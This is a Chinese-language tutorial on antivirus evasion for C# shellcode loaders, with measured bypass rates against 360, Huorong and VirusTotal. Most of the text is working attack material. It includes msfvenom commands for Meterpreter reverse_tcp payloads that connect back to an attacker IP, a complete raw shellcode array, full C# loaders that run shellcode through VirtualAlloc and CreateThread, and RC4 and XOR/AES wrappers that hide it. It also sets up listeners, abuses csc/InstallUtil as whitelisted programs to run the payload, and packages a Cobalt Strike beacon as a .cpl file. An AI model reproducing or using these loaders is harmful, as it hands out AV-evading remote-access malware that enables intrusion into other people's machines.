0x00 免殺能力一覽表
幾點說明:
1、表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。
2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。
4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為殺軟查殺能力或免殺能力的判斷指標。
5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。
6、由于白名單程序加載payload的免殺測試需要殺軟的行為檢測才合理,靜態查殺payload或者查殺白名單程序都沒有任何意義,所以這里對白名單程序的免殺效果不做評判。
0x01 C#加載shellcode免殺介紹
使用C#加載shellcode也是比較常見的一種免殺方式,比如之前文章里的zirikatu、veil、AVIator、SpookFlare等工具都可以對C#代碼進行免殺處理,而SharpShooter和CACTUSTORCH還可以使用vbs或js執行C#的二進制payload。
這里我們介紹一下基于C#的常見手工免殺方法,C#加載shellcode也和C/C++加載類似,可以分兩種方式。
1、C#源碼+shellcode直接編譯,且shellcode可進行一些加密混淆處理;
2、使用加載器加載C#代碼,這個就是網上常見的白名單程序加載了,比如可以利用csc.exe。
0x02 C#源碼直接編譯exe
2.1 方法1:C#+shellcode直接編譯(VT免殺率20/71)
先用msfvenom生成基于C#的shellcode,使用了shikata_ga_nai編碼
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.134 LPORT=3333 -f csharp -o payload.txt
payload.txt內容
byte[] buf = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,
0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x8e,0x86,
0x68,0x02,0x00,0x0d,0x05,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
在vs2017中新建C#加密項目
然后將payload.txt文件中的shellcode代碼復制到下面C#代碼中
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{class Program{static void Main(string[] args){// native function’s compiled code// generated with metasploitbyte[] shellcode = new byte[] { msfvenom生成的 shellcode};UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]private static extern UInt32 GetLastError();
}
}
在msf設置監聽
use multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 3334
msf5 exploit(multi/handler) > set lport 10.211.55.2
msf5 exploit(multi/handler) > exploit
編譯運行,火絨動態和靜態都可以檢測出來,360可以免殺
關閉火絨,可正常上線
2.2 方法2:C#+加密處理shellcode免殺(VT免殺率8/70)
先用msf生成基于c#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f csharp -o payload.txt
在vs2017中新建C#加密項目
把上面payload.txt中的c#代碼放入下面的加密代碼中
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;namespace Payload_Encrypt_Maker
{ class Program{ // 加密密鑰,可以更改,加解密源碼中保持KEY一致就行static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };static byte[] payload ={0x6b,0xa9}; // 替換成MSF生成的shellcodeprivate static class Encryption_Class{public static string Encrypt(string key, string data){Encoding unicode = Encoding.Unicode;return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));}public static byte[] Encrypt(byte[] key, byte[] data){return EncryptOutput(key, data).ToArray();}private static byte[] EncryptInitalize(byte[] key){byte[] s = Enumerable.Range(0, 256).Select(i => (byte)i).ToArray();for (int i = 0, j = 0; i < 256; i++){j = (j + key[i % key.Length] + s[i]) & 255;Swap(s, i, j);}return s;}private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data){byte[] s = EncryptInitalize(key);int i = 0;int j = 0;return data.Select((b) =>{i = (i + 1) & 255;j = (j + s[i]) & 255;Swap(s, i, j);return (byte)(b ^ s[(s[i] + s[j]) & 255]);});}private static void Swap(byte[] s, int i, int j){byte c = s[i];s[i] = s[j];s[j] = c;}}static void Main(string[] args){byte[] result = Encryption_Class.Encrypt(KEY, payload);int b = 0;for (int i = 0; i < result.Length; i++){ b++;if (i == result.Length+1){Console.Write(result[i].ToString());}if (i != result.Length) { Console.Write(result[i].ToString() + ","); }}}}
}
編譯生成一段加密后的shellcode
在vs2017中再新建C#解密項目
解密及執行代碼
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;namespace NativePayload_Reverse_tcp
{public class Program{public static void Main(){Shellcode.Exec();}}class Shellcode{public static void Exec(){string Payload_Encrypted;Payload_Encrypted = "0,244,36,163,code_herer";string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++){byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());_X_to_Bytes[i] = current;}// 解密密鑰,可以更改,加解密源碼中保持KEY一致就行byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);// 加載shellcodeIntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);Thread.Sleep(2000);}public static byte[] Decrypt(byte[] key, byte[] data){return EncryptOutput(key, data).ToArray();}private static byte[] EncryptInitalize(byte[] key){byte[] s = Enumerable.Range(0, 256).Select(i => (byte)i).ToArray();for (int i = 0, j = 0; i < 256; i++){j = (j + key[i % key.Length] + s[i]) & 255;Swap(s, i, j);}return s;}private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data){byte[] s = EncryptInitalize(key);int i = 0;int j = 0;return data.Select((b) =>{i = (i + 1) & 255;j = (j + s[i]) & 255;Swap(s, i, j);return (byte)(b ^ s[(s[i] + s[j]) & 255]);});}private static void Swap(byte[] s, int i, int j){byte c = s[i];s[i] = s[j];s[j] = c;}[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);}
}
編譯或執行時如果報錯,可以查看下面的兩個項目屬性是否設置有問題
執行生成的ConsoleApp2.exe,可過360和火絨
2.3 方法3:XOR/AES編碼shellcode(VT免殺率14/71)
需要使用一個工具https://github.com/Arno0x/ShellcodeWrapper
先用msfvenom生成一個raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw > shellcode.raw
在ShellcodeWrapper文件夾中執行下面命令,其中tidesec為自己設置的key。
python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
生成了三個文件,其中C#為我們需要的文件。
其中encryptedShellcodeWrapper_xor.cpp文件中的C#源碼如下
/*
Author: Arno0x0x, Twitter: @Arno0x0xHow to compile:
===============
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:encryptedShellcodeWrapper_xor.exe encryptedShellcodeWrapper_xor.cs*/using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;namespace RunShellCode
{static class Program{//==============================================================================// CRYPTO FUNCTIONS//==============================================================================private static T[] SubArray<T>(this T[] data, int index, int length){T[] result = new T[length];Array.Copy(data, index, result, 0, length);return result;}private static byte[] xor(byte[] cipher, byte[] key) {byte[] decrypted = new byte[cipher.Length];for(int i = 0; i < cipher.Length; i++) {decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);}return decrypted;}//--------------------------------------------------------------------------------------------------// Decrypts the given a plaintext message byte array with a given 128 bits key// Returns the unencrypted message//--------------------------------------------------------------------------------------------------private static byte[] aesDecrypt(byte[] cipher, byte[] key){var IV = cipher.SubArray(0, 16);var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);// Create an AesManaged object with the specified key and IV.using (AesManaged aes = new AesManaged()){aes.Padding = PaddingMode.PKCS7;aes.KeySize = 128;aes.Key = key;aes.IV = IV;using (MemoryStream ms = new MemoryStream()){using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)){cs.Write(encryptedMessage, 0, encryptedMessage.Length);}return ms.ToArray();}}}//==============================================================================// MAIN FUNCTION//==============================================================================static void Main(){byte[] encryptedShellcode = new byte[] { shellcode };string key = "tidesec";string cipherType = "xor";byte[] shellcode = null;//--------------------------------------------------------------// Decrypt the shellcodeif (cipherType == "xor") {shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));}else if (cipherType == "aes") {shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));}//-------------------------------------------------------------- // Copy decrypted shellcode to memoryUInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;// Prepare dataIntPtr pinfo = IntPtr.Zero;// Invoke the shellcodehThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);return;}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,UInt32 flAllocationType,UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);}
}
在vs2017中新建C#項目,編譯運行,火絨和360均可繞過。
msf中正常上線
0x03 加載器加載C#代碼
加載器用的比較多的是CSC.exe+InstallUtil.exe加載shellcode,流程為:msf生成C#格式shellcode -> 加密shellcode -> 解密并加載shellcode -> csc.exe編譯成.jpg文件 -> InstallUtil.exe白名單執行。之前backlion師傅和亮神都介紹過這種方法。
3.1 法4:使用CSC+InstallUtil執行shellcode(VT免殺率33/71)
先通過msfvenom生成C#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f csharp
下載InstallUtil-Shellcode.cs
wget https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/InstallUtil-Shellcode.cs
將上面生成的shellcode復制到InstallUtil-Shellcode.cs文件中。
使用csc編譯InstallUtil-ShellCode.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs
編譯生成的shell.exe直接執行是不行的,需要使用InstallUtil.exe來觸發。
使用InstallUtil.exe執行shell.exe,360安全衛士會檢測到InstallUtil.exe執行預警,360殺毒和火絨動態和靜態均無預警。
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe
msf中可上線
3.2 法5:從資源里加載shelllcode
這里只介紹另外一種從資源里加載shelllcode的方法,不過很遺憾的是這個我沒有復現成功。
參考自三好學生大佬的文章:https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html
需要用到這個工具https://github.com/rvrsh3ll/CPLResourceRunner
先用Cobalt Strike 生成shellcode
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)
然后用ConvertShellcode.py將生成的beacon.bin轉換成shellcode.txt
python ConvertShellcode.py beacon.bin
然后再轉換成base64編碼。
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
把生成的base64編碼的shellcode復制到項目資源CPLResourceRunner/Resources.txt里。
編譯生成dll,并將生成的CPLResourceRunner.dll重命名為.cpl文件,之后執行即可。
不過經過測試,無法上線,沒找出來具體原因。
后來用msf生成raw格式的shellcode,也用CPLResourceRunner進行處理,不過還是沒法上線。
后來又測試了一下使用msf直接生成cpl文件,倒可以執行上線,使用rundll32.exe來執行。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f dll > shellcode.cpl
四、參考資料
shellcode加載總結:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
記一則免殺技巧:https://www.jianshu.com/p/965211afc5f9
那些shellcode免殺總結:https://xz.aliyun.com/t/7170
免殺技巧:https://blog.moofeng.cn/2019/04/18/%E8%AE%B0%E4%B8%80%E5%88%99%E5%85%8D%E6%9D%80%E6%8A%80%E5%B7%A7/index.html